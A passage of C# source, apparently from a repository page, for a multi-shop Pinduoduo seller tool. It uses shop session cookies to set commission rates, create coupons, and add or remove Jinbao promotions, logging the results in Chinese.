LogSave.Add(Name, "商品" + goodId.Replace("\r", "").Replace("\n", "") + ",开通佣金比率成功");
}
else
{
string errorMsg = BaseRegex.GetStringJson(ref html, "reason");
LogSave.Add(Name, "商品" + goodId.Replace("\r", "").Replace("\n", "") + "开通佣金比率失败,错误原因"+errorMsg);
}
}
public static void OpenSpread()
{
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectPayOrder || !shop.Showed)
continue;
string url = "https://mms.pinduoduo.com/cps/api/edit/openMallUnit";
string refere = "https://mms.pinduoduo.com/exp/mallPromotion";
string data = "{\"rate\":\"" + Rate * 10 + "\" }";
//第一页匹配结果
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies);
if (html.Contains("\"success\":true"))
{
LogSave.Add(Name, "店铺" + shop.ShopName + ",开通多多推广成功,修改后的佣金比率将在第二天0点生效");
Thread.Sleep(10*1000);
}
else
{
string errorMsg = BaseRegex.GetStringJson(ref html, "errorMsg");
LogSave.Add(Name, "店铺" + shop.ShopName + "," + errorMsg + ",开通多多推广失败");
}
}
ReadSpread();
}
public static void OpenGoodSpread()
{
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectPayOrder || !shop.Showed)
continue;
PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(shop);
string html = api.CreateJinBaoExtension(ShopRate * 10);
if (html.Contains("\"is_create_success\":true"))
{
LogSave.Add(Name, "店铺" + shop.ShopName + ",开通多多推广成功,修改后的佣金比率将在第二天0点生效");
Thread.Sleep(10 * 1000);
}
else
{
string errorMsg = BaseRegex.GetStringJson(ref html, "error_msg");
LogSave.Add(Name, "店铺" + shop.ShopName + "," + errorMsg + ",开通多多推广失败");
}
}
ReadSpread();
}
public static void ReadSpread()
{
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectPayOrder || !shop.Showed)
continue;
string url = "https://mms.pinduoduo.com/cps/api/query/queryMallUnit";
string refere = "https://mms.pinduoduo.com/exp/mallPromotion";
string html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, shop.Cookies);
decimal minRate = BaseRegex.GetDecimalJson(ref html, "rate") / 10M;
shop.commission = minRate + "%";
if (minRate==0)
{
shop.commission = "没有开通全店推广";
LogSave.Add(Name, "商铺" + shop.ShopName + ",没有开通全店推广");
}
else
{
LogSave.Add(Name, "商铺" + shop.ShopName + ",佣金比率:" + minRate + "%");
}
tempShops.Add(shop);
Thread.Sleep(1 * 1000);
}
}
public static void apiReadSpread()
{
PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(Shop);
string html=api.JinBaoExtension(goodId);
decimal minRate = BaseRegex.GetDecimalJson(ref html, "rate") / 10M;
string errorMsg = "";
if (minRate == 0)
{
errorMsg = BaseRegex.GetStringJson(ref html, "error_msg");
LogSave.Add(Name, "商品" + goodId + ","+errorMsg);
return;
}
else
{
LogSave.Add(Name, "商品" + goodId + ",佣金比率:" + minRate + "%");
}
GoodRate goodRate = new GoodRate();
goodRate.shopName = Shop.ShopName;
goodRate.goodId = goodId;
goodRate.rate = minRate + "%";
goodRate.error = errorMsg;
tempGoodRate.Add(goodRate);
Thread.Sleep(1 * 1000);
}
public static void OpenGoodCoupon()
{
List<Thread> ts = new List<Thread>();
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectPayOrder || !shop.Showed)
continue;
var p = new JinBaoMarketing(Name, shop);
JinBaoMarketing.couponStartTime = couponStartTime;
JinBaoMarketing.couponEndTime = couponEndTime;
JinBaoMarketing.discount = discount;
JinBaoMarketing.Rate = Rate;
JinBaoMarketing.couCount = couCount;
JinBaoMarketing.goodCount = goodCount;
Threadx.ThreadListWait(ref ts, new Thread(p.GetGoodCoupon), 20);
Thread.Sleep(100);
}
Threadx.ThreadListWait(ref ts);
}
public static void OpenSetGoodCoupon()
{
List<Thread> ts = new List<Thread>();
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectPayOrder || !shop.Showed)
continue;
var p = new JinBaoMarketing(Name, shop);
JinBaoMarketing.couponStartTime = couponStartTimex;
JinBaoMarketing.couponEndTime = couponEndTimex;
JinBaoMarketing.discount = discountx;
//JinBaoMarketing.Rate = Rate;
JinBaoMarketing.couCount = couCountx;
//JinBaoMarketing.goodCount = goodCount;
Threadx.ThreadListWait(ref ts, new Thread(p.GetSetGoodCoupon), 20);
Thread.Sleep(100);
}
Threadx.ThreadListWait(ref ts);
}
public static void OpenShopGoodCoupon()
{
List<Thread> ts = new List<Thread>();
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectPayOrder || !shop.Showed)
continue;
var p = new JinBaoMarketing(Name, shop);
JinBaoMarketing.couponStartTime = couponStartTime;
JinBaoMarketing.couponEndTime = couponEndTime;
JinBaoMarketing.discount = discount;
JinBaoMarketing.Rate = Rate;
JinBaoMarketing.couCount = couCount;
JinBaoMarketing.goodCount = goodCount;
JinBaoMarketing.goodId = goodId;
Threadx.ThreadListWait(ref ts, new Thread(p.GetShopGoodCoupon), 20);
Thread.Sleep(100);
}
Threadx.ThreadListWait(ref ts);
}
public static void GetGoodSpread()
{
List<Thread> ts = new List<Thread>();
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectPayOrder || !shop.Showed)
continue;
var p = new JinBaoMarketing(Name, shop);
Threadx.ThreadListWait(ref ts, new Thread(p.GetGoods), 20);
Thread.Sleep(100);
}
Threadx.ThreadListWait(ref ts);
}
public static void GetNoGoodSpread()
{
List<Thread> ts = new List<Thread>();
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectPayOrder || !shop.Showed)
continue;
var p = new JinBaoMarketing(Name, shop);
Threadx.ThreadListWait(ref ts, new Thread(p.GetNoGoods), 20);
Thread.Sleep(100);
}
Threadx.ThreadListWait(ref ts);
}
public static void GetNoDelGoodSpread()
{
List<Thread> ts = new List<Thread>();
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectPayOrder || !shop.Showed)
continue;
var p = new JinBaoMarketing(Name, shop);
Threadx.ThreadListWait(ref ts, new Thread(p.GetNoDelGoods), 20);
Thread.Sleep(100);
}
Threadx.ThreadListWait(ref ts);
}
public static void GetCouponSpread()
{
List<Thread> ts = new List<Thread>();
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectPayOrder || !shop.Showed)
continue;
var p = new JinBaoMarketing(Name, shop);
Threadx.ThreadListWait(ref ts, new Thread(p.GetCouponGoods), 20);
Thread.Sleep(100);
}
Threadx.ThreadListWait(ref ts);
}
}
public class JinBaoMarketing
{
public string Name = "";
public ShopChatBase Shop;
public static string couponStartTime = "";
public static string couponEndTime = "";
public static long discount = 0;
public static int Rate = 0;
public static int couCount = 0;
public static int goodCount = 0;
public static string goodId = "";
public static List<TaobaoProductBase> jinBaoTempProduct = new List<TaobaoProductBase>();
//public static List<TaobaoProductBase> jinBaoDelProduct = new List<TaobaoProductBase>();
public static Dictionary<string, List<TaobaoProductBase>> jinBaoDelProduct = new Dictionary<string, List<TaobaoProductBase>>();
public static List<TaobaoProductBase> jinBaoTempDelProduct = new List<TaobaoProductBase>();
public JinBaoMarketing(string name,ShopChatBase shop)
{
this.Name = name;
this.Shop = shop;
}
public void GetGoods()
{
Shop.jinBaoProduct.Clear();
int mallId = Shop.MallId;
string cookies = Shop.Cookies, shopName = Shop.ShopName;
string url = "https://mms.pinduoduo.com/cps/api/mall/goods";
string refere = "https://mms.pinduoduo.com/jinbao/promotion/create?from=nogoods";
string data = "{\"pageNumber\":#page#,\"pageSize\":100}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies);
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies);
}
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies);
}
int allCount = BaseRegex.GetIntJson(ref html, "total");
int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0);
if (page > 1000)
{
page = 1000;
}
for (int i = 0; i < 5; i++)
{
if (i != 0)
{
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies);
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies);
}
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies);
}
}
var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\}");
for (int j = 0; m != null && j < m.Count; j++)
{
string list = m[j].Groups[0].Value;
TaobaoProductBase p = new TaobaoProductBase();
p.GoodsId = BaseRegex.GetLongJson(ref list, "goodsId");
//p.GoodsSn = BaseRegex.GetLongJson(ref list, "goods_sn");
p.Titlte = BaseRegex.GetStringJson(ref list, "goodsName");
p.CatId = BaseRegex.GetIntJson(ref list, "cat_id");
p.ShopName = Shop.ShopName;
int price = BaseRegex.GetIntJson(ref list, "groupPrice");
p.Price = price / 100m;
p.favcnt = JinBaoSpread.Rate;
p.UseShopName = Shop.Name;
//p.jinbaoCount = JinBaoSpread.couCount;
//p.jinbaoAmount = JinBaoSpread.discount;
//商品已经被设置
int wipeOutReason = BaseRegex.GetIntJson(ref list, "wipeOutReason");
if (wipeOutReason == 1)
continue;
jinBaoTempProduct.Add(p);
if (!Shop.jinBaoProduct.Exists(pt => pt != null && pt.GoodsId == p.GoodsId))
Shop.jinBaoProduct.Add(p);
}
Thread.Sleep(300);
LogSave.Add(Name, "获取在线产品 " + shopName + ",分页:" + i);
}
LogSave.Add(Name, "获取完成");
}
public void GetNoGoods()
{
if (jinBaoDelProduct.ContainsKey(Shop.ShopName))
jinBaoDelProduct.Remove(Shop.ShopName);
List<TaobaoProductBase> jinbaolst = new List<TaobaoProductBase>();
int mallId = Shop.MallId;
string cookies = Shop.Cookies, shopName = Shop.ShopName;
string url = "https://mms.pinduoduo.com/cps/api/query/unitList";
string refere = "https://mms.pinduoduo.com/jinbao/promotion/index";
string data = "{\"pageSize\":100,\"pageNumber\":#page#,\"currentPage\":#page#}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies);
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies);
}
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies);
}
int allCount = BaseRegex.GetIntJson(ref html, "total");
int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0);
if (page > 1000)
{
page = 1000;
}
for (int i = 0; i < page; i++)
{
if (i != 0)
{
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies);
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies);
}
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies);
}
}
var m = BaseRegex.GetMatchRegex(ref html, @"{""id"":[\w\W]+?""hasCoupon""");
for (int j = 0; m != null && j < m.Count; j++)
{
string list = m[j].Groups[0].Value;
TaobaoProductBase p = new TaobaoProductBase();
p.GoodsSn= BaseRegex.GetLongJson(ref list, "id");
p.GoodsId = BaseRegex.GetLongJson(ref list, "goodsId");
//p.GoodsSn = BaseRegex.GetLongJson(ref list, "goods_sn");
p.Titlte = BaseRegex.GetStringJson(ref list, "goodsName");
p.ShopName = Shop.ShopName;
p.UseShopName = Shop.Name;
int price = BaseRegex.GetIntJson(ref list, "groupPrice");
p.Price = price / 100m;
p.favcnt = BaseRegex.GetIntJson(ref list, "commissionRate")/10;
//商品已经被设置
int onSale = BaseRegex.GetIntJson(ref list, "onSale");
if (onSale == 1)
continue;
p.Message = "未达标";
jinBaoTempDelProduct.Add(p);
if (!jinbaolst.Exists(pt => pt != null && pt.GoodsId == p.GoodsId))
jinbaolst.Add(p);
}
Thread.Sleep(300);
LogSave.Add(Name, "获取在线产品 " + shopName + ",分页:" + i);
}
jinBaoDelProduct.Add(Shop.ShopName, jinbaolst);
LogSave.Add(Name, "获取完成");
}
public void GetCouponGoods()
{
if (jinBaoDelProduct.ContainsKey(Shop.ShopName))
jinBaoDelProduct.Remove(Shop.ShopName);
List<TaobaoProductBase> jinbaolst = new List<TaobaoProductBase>();
int mallId = Shop.MallId;
string cookies = Shop.Cookies, shopName = Shop.ShopName;
string url = "https://mms.pinduoduo.com/cps/api/query/unitList";
string refere = "https://mms.pinduoduo.com/jinbao/promotion/index";
string data = "{\"pageSize\":100,\"pageNumber\":#page#,\"currentPage\":#page#}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies);
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies);
}
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies);
}
int allCount = BaseRegex.GetIntJson(ref html, "total");
int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0);
if (page > 1000)
{
page = 1000;
}
for (int i = 0; i < 2; i++)
{
if (i != 0)
{
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies);
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies);
}
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies);
}
}
var m = BaseRegex.GetMatchRegex(ref html, @"[\w\W]+?""hasCoupon""[^>]+?");
for (int j = 0; m != null && j < m.Count; j++)
{
string list = m[j].Groups[0].Value;
TaobaoProductBase p = new TaobaoProductBase();
p.GoodsSn = BaseRegex.GetLongJson(ref list, "id");
p.GoodsId = BaseRegex.GetLongJson(ref list, "goodsId");
//p.GoodsSn = BaseRegex.GetLongJson(ref list, "goods_sn");
p.Titlte = BaseRegex.GetStringJson(ref list, "goodsName");
p.ShopName = Shop.ShopName;
p.UseShopName = Shop.Name;
//p.jinbaoCount = JinBaoSpread.couCountx;
//p.jinbaoAmount = JinBaoSpread.discountx;
int price = BaseRegex.GetIntJson(ref list, "groupPrice");
p.Price = price / 100m;
p.favcnt = BaseRegex.GetIntJson(ref list, "commissionRate") / 10;
//商品已经被设置
int remainQuantity = BaseRegex.GetIntJson(ref list, "remainQuantity");
if (remainQuantity == 1)
continue;
p.Message = "添加优惠券";
jinBaoTempDelProduct.Add(p);
if (!jinbaolst.Exists(pt => pt != null && pt.GoodsId == p.GoodsId))
jinbaolst.Add(p);
}
Thread.Sleep(300);
LogSave.Add(Name, "获取在线产品 " + shopName + ",分页:" + i);
}
jinBaoDelProduct.Add(Shop.ShopName, jinbaolst);
LogSave.Add(Name, "获取完成");
}
public void GetNoDelGoods()
{
if (!jinBaoDelProduct.ContainsKey(Shop.ShopName))
return;
var jinbaolst = jinBaoDelProduct[Shop.ShopName];
for (int i = 0; i < jinbaolst.Count; i++)
{
string url = "https://mms.pinduoduo.com/cps/api/edit/delete";
string refere = "https://mms.pinduoduo.com/jinbao/promotion/index";
string data = "{\"id\":"+ jinbaolst[i].GoodsSn + ",\"goodsId\":"+ jinbaolst[i].GoodsId+ "}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), Shop.Cookies);
LogSave.Add(Name, jinbaolst[i].GoodsId + "正在删除");
if (!html.Contains("\"success\":true"))
{
string errorMsg = BaseRegex.GetStringJson(ref html, "errorMsg");
TaobaoProductBase p = new TaobaoProductBase();
p.ShopName = Shop.ShopName;
p.GoodsId = jinbaolst[i].GoodsId;
p.Message = errorMsg;
jinBaoTempProduct.Add(p);
}
else
{
TaobaoProductBase p = new TaobaoProductBase();
p.ShopName = Shop.ShopName;
p.GoodsId = jinbaolst[i].GoodsId;
p.Message = "未达标删除成功";
jinBaoTempProduct.Add(p);
}
Thread.Sleep(1000);
}
}
public void GetGoodCoupon2()
{
string subtemp = "";
string temp = "";
int count = 0;
for (int i = 0; !JinBaoSpread.stopping && i < Shop.jinBaoProduct.Count; i++)
{
if (count >= goodCount)
{
count = 0;
break;
}
var product = Shop.jinBaoProduct[i];
if (product.Uped)
continue;
Shop.jinBaoProduct[i].Uped = true;
long goodsPrice = (long)product.Price;
long goodsId = product.GoodsId;
string url = "https://mms.pinduoduo.com/cps/api/coupon/queryGoodsCouponLimit";
string refere = "https://mms.pinduoduo.com/jinbao/promotion/create";
string data = "{\"goodsIds\":[" + goodsId + "],\"type\":1}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies);
if (!html.Contains("\"success\":true"))
{
Thread.Sleep(2 * 1000);
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies);
if (!html.Contains("\"success\":true"))
continue;
}
long maxCoupon = BaseRegex.GetLongJson(ref html, "maxCoupon") / 1000;
if (discount > maxCoupon)
discount = maxCoupon;
//Thread.Sleep(2 * 1000);
url = "https://mms.pinduoduo.com/cps/api/coupon/createCommonCoupon";
refere = "https://mms.pinduoduo.com/jinbao/promotion/create?from=nogoods";
int randx = new Random(Guid.NewGuid().GetHashCode()).Next(000000, 999999);
data = "{\"minOrderAmount\":0,\"couponDesc\":\"" + randx + "\",\"couponStartTime\":\"" + couponStartTime
+ "\",\"couponEndTime\":\"" + couponEndTime
+ "\",\"discount\":" + discount * 1000 + ",\"initQuantity\":" + couCount + ",\"userLimit\":1,\"goodsPrice\":" + goodsPrice
+ ",\"goodsId\":" + goodsId + "}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies);
if (!html.Contains("\"success\":true"))
{
Thread.Sleep(2 * 1000);
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies);
if (!html.Contains("\"success\":true"))
continue;
}
long couponId = BaseRegex.GetLongJson(ref html, "batchId");
url = "https://mms.pinduoduo.com/cps/api/coupon/checkCouponInfo";
refere = "https://mms.pinduoduo.com/jinbao/promotion/create?from=nogoods";
data = "{\"goodsId\":" + goodsId + ",\"couponId\":" + couponId + "}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies);
if (!html.Contains("\"success\":true"))
{
Thread.Sleep(2 * 1000);
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies);
if (!html.Contains("\"success\":true"))
continue;
}
subtemp += ",{\"goodsId\":" + goodsId + ",\"commissionRate\":" + Rate * 10 + ",\"couponId\":" + couponId + ",\"isVerify\":true}";
temp += "," + goodsId;
LogSave.Add(Name, goodsId + "正在生成优惠券");
count++;
Thread.Sleep(2 * 1000);
}
string urlx = "https://mms.pinduoduo.com/cps/api/edit/createCommonUnit/twoConfirm";
string referex = "https://mms.pinduoduo.com/jinbao/promotion/create";
string datax = "{\"units\":[" + subtemp.Substring(1) + "]}";
string htmlx = GetPostTaobaoHtml.UploadTaobaoPost(urlx, referex, true, datax, Shop.Cookies);
if (!htmlx.Contains("\"success\":true"))
{
Thread.Sleep(2 * 1000);
htmlx = GetPostTaobaoHtml.UploadTaobaoPost(urlx, referex, true, datax, Shop.Cookies);
if (!htmlx.Contains("\"success\":true"))
return;
}
urlx = "https://mms.pinduoduo.com/cps/api/edit/createCommonUnit";
referex = "https://mms.pinduoduo.com/jinbao/promotion/create?from=nogoods";
datax = "{\"units\":[" + subtemp.Substring(1) + "],\"isVerifyRatePrice\":true,\"isVerifyMultiEvent\":true}";
htmlx = GetPostTaobaoHtml.UploadTaobaoPost(urlx, referex, true, datax, Shop.Cookies);
string[] goodData = temp.Substring(1).Split(',');
if (!htmlx.Contains("\"success\":true"))
{
Thread.Sleep(2 * 1000);
htmlx = GetPostTaobaoHtml.UploadTaobaoPost(urlx, referex, true, datax, Shop.Cookies);
}
if (!htmlx.Contains("\"success\":true"))
{
for (int i = 0; i < goodData.Length; i++)
{
TaobaoProductBase p = new TaobaoProductBase();
p.ShopName = Shop.ShopName;
p.GoodsId = long.Parse(goodData[i]);
p.Message = "推广失败";
jinBaoTempProduct.Add(p);
}
return;
}
for (int i = 0; i < goodData.Length; i++)
{
TaobaoProductBase p = new TaobaoProductBase();
p.ShopName = Shop.ShopName;
p.GoodsId = long.Parse(goodData[i]);
p.Message = "推广成功";
jinBaoTempProduct.Add(p);
}
}
public void GetShopGoodCoupon()
{
PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(Shop);
string[] goodsIdx = JinBaoSpread.goodId.Trim().Replace("\r", "").Split('\n');
for (int i = 0; i < goodsIdx.Length; i++)
{
if (string.IsNullOrEmpty(goodsIdx[i]))
continue;
long goodsId =long.Parse(goodsIdx[i]);
api.Data.Clear();
api.Data.Add("batch_desc", "设置优惠券");
api.Data.Add("batch_start_time", couponStartTime);
api.Data.Add("batch_end_time", couponEndTime);
api.Data.Add("discount", (discount * 100).ToString());
api.Data.Add("init_quantity", couCount.ToString());
api.Data.Add("user_limit", "1");
api.Data.Add("goods_id", goodsId.ToString());
string html = api.CreateProCoupon();
if (html.Contains("不可重复设置"))
continue;
LogSave.Add(Name, goodsId + "正在生成优惠券");
long batch_id = BaseRegex.GetLongJson(ref html, "batch_id");
if (batch_id <= 0)
continue;
api.Data.Clear();
string units = "[{\"goods_id\":" + goodsId + ",\"rate\":10,\"coupon_id\":" + batch_id
+ ",\"coupon_start_time\":\"" + couponStartTime + "\",\"coupon_end_time\":\""
+ couponEndTime + "\",\"discount\":" + discount * 100
+ ",\"init_quantity\":" + couCount + "}]";
html = api.CreateGoodExtension(units);
if (html.Contains("不可重复设置"))
continue;
if (html.Contains("调用过于频繁"))
{
Thread.Sleep(2 * 1000);
html = api.CreateGoodExtension(units);
}
if (html.Contains("error_msg"))
{
TaobaoProductBase p = new TaobaoProductBase();
p.ShopName = Shop.ShopName;
p.UseShopName = Shop.Name;
p.GoodsId = goodsId;
p.jinbaoCount = JinBaoSpread.couCount;
p.jinbaoAmount = JinBaoSpread.discount;
p.Message = "推广失败";
jinBaoTempProduct.Add(p);
}
else
{
TaobaoProductBase p = new TaobaoProductBase();
p.ShopName = Shop.ShopName;
p.UseShopName = Shop.Name;
p.GoodsId = goodsId;
p.jinbaoCount = JinBaoSpread.couCount;
p.jinbaoAmount = JinBaoSpread.discount;
p.Message = "推广成功";
jinBaoTempProduct.Add(p);
}
}
}
public void GetGoodCoupon()
{
PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(Shop);
int count = 0;
for (int i = 0; !JinBaoSpread.stopping && i < Shop.jinBaoProduct.Count; i++)
{
if (count >= goodCount)
{
count = 0;
break;
}
var product = Shop.jinBaoProduct[i];
//long goodsPrice = (long)(product.Price * 1000);
long goodsId = product.GoodsId;
api.Data.Clear();
api.Data.Add("batch_desc", "设置优惠券");
api.Data.Add("batch_start_time", couponStartTime);
api.Data.Add("batch_end_time", couponEndTime);
api.Data.Add("discount", (discount * 100).ToString());
api.Data.Add("init_quantity", couCount.ToString());
api.Data.Add("user_limit", "1");
api.Data.Add("goods_id", goodsId.ToString());
string html = api.CreateProCoupon();
if (html.Contains("不可重复设置"))
continue;
LogSave.Add(Name, goodsId + "正在生成优惠券");
long batch_id = BaseRegex.GetLongJson(ref html, "batch_id");
if (batch_id <= 0)
continue;
api.Data.Clear();
string units = "[{\"goods_id\":"+ goodsId + ",\"rate\":10,\"coupon_id\":" + batch_id
+ ",\"coupon_start_time\":\"" + couponStartTime + "\",\"coupon_end_time\":\""
+ couponEndTime + "\",\"discount\":" + discount * 100
+ ",\"init_quantity\":" + couCount + "}]";
html = api.CreateGoodExtension(units);
if (html.Contains("不可重复设置"))
continue;
if (html.Contains("调用过于频繁"))
{
Thread.Sleep(3 * 1000);
html = api.CreateGoodExtension(units);
}
count++;
if (html.Contains("error_msg"))
{
string errorMsg = BaseRegex.GetStringJson(ref html, "error_msg");
TaobaoProductBase p = new TaobaoProductBase();
p.ShopName = Shop.ShopName;
p.GoodsId = goodsId;
p.jinbaoCount = JinBaoSpread.couCount;
p.jinbaoAmount = JinBaoSpread.discount;
p.Message = errorMsg;
jinBaoTempProduct.Add(p);
}
else
{
TaobaoProductBase p = new TaobaoProductBase();
p.ShopName = Shop.ShopName;
p.GoodsId = goodsId;
p.jinbaoCount = JinBaoSpread.couCount;
p.jinbaoAmount = JinBaoSpread.discount;
p.Message = "推广成功";
jinBaoTempProduct.Add(p);
}
//Thread.Sleep(10 * 1000);
}
}
public void GetSetGoodCoupon()
{
if (!jinBaoDelProduct.ContainsKey(Shop.ShopName))
return;
var jinbaolst = jinBaoDelProduct[Shop.ShopName];
PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(Shop);
for (int i = 0; i < jinbaolst.Count; i++)
{
//string url = "https://mms.pinduoduo.com/cps/api/coupon/createCommonCoupon";
//string refere = "https://mms.pinduoduo.com/jinbao/promotion/index";
//api.Data.Clear();
//api.Data.Add("batch_desc", "设置优惠券");
//api.Data.Add("batch_start_time", couponStartTime);
//api.Data.Add("batch_end_time", couponEndTime);
//api.Data.Add("discount", (discount * 100).ToString());
//api.Data.Add("init_quantity", couCount.ToString());
//api.Data.Add("user_limit", "1");
//api.Data.Add("goods_id", goodsId.ToString());
//string html = api.CreateProCoupon();
//if (html.Contains("不可重复设置"))
// continue;
//LogSave.Add(Name, goodsId + "正在生成优惠券");
//long batch_id = BaseRegex.GetLongJson(ref html, "batch_id");
//if (batch_id <= 0)
// continue;
long goodsId = jinbaolst[i].GoodsId;
long goodsPrice = (long)(jinbaolst[i].Price * 1000);
string url = "https://mms.pinduoduo.com/cps/api/coupon/createCommonCoupon";
string refere = "https://mms.pinduoduo.com/jinbao/promotion/create?from=nogoods";
int randx = new Random(Guid.NewGuid().GetHashCode()).Next(000000, 999999);
string data = "{\"minOrderAmount\":0,\"couponDesc\":\"" + randx + "\",\"couponStartTime\":\"" + couponStartTime
+ "\",\"couponEndTime\":\"" + couponEndTime
+ "\",\"discount\":" + discount * 1000 + ",\"initQuantity\":" + couCount + ",\"userLimit\":1,\"goodsPrice\":" + goodsPrice
+ ",\"goodsId\":" + goodsId + "}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies);
if (!html.Contains("\"success\":true"))
{
Thread.Sleep(2 * 1000);
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies);
if (!html.Contains("\"success\":true"))
continue;
}
long couponId = BaseRegex.GetLongJson(ref html, "batchId");
url = "https://mms.pinduoduo.com/cps/api/coupon/use";
refere = "https://mms.pinduoduo.com/jinbao/promotion/index";
data = "{\"goodsId\":" + goodsId + ",\"couponId\":" + couponId + ",\"type\":1}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies);
LogSave.Add(Name, jinbaolst[i].GoodsId + "正在设置优惠券");
if (!html.Contains("\"success\":true"))
{
TaobaoProductBase p = new TaobaoProductBase();
p.ShopName = Shop.ShopName;
p.UseShopName = Shop.Name;
p.jinbaoCount = JinBaoSpread.couCountx;
p.jinbaoAmount = JinBaoSpread.discountx;
p.GoodsId = jinbaolst[i].GoodsId;
p.Message = "设置优惠券失败";
jinBaoTempProduct.Add(p);
}
else
{
TaobaoProductBase p = new TaobaoProductBase();
p.ShopName = Shop.ShopName;
p.GoodsId = jinbaolst[i].GoodsId;
p.UseShopName = Shop.Name;
p.jinbaoCount = JinBaoSpread.couCountx;
p.jinbaoAmount = JinBaoSpread.discountx;
p.Message = "设置优惠券成功";
jinBaoTempProduct.Add(p);
}
Thread.Sleep(5*1000);
}
}
}
public class GoodRate
{
public string shopName = "";
public string UseShopName = "";
public string goodId = "";
public string rate = "";
public string error = "";
}
}
File diff suppressed because it is too large. Load diff
+80
View File
@@ -0,0 +1,80 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using AllBase;
namespace Work.CollectClass
{
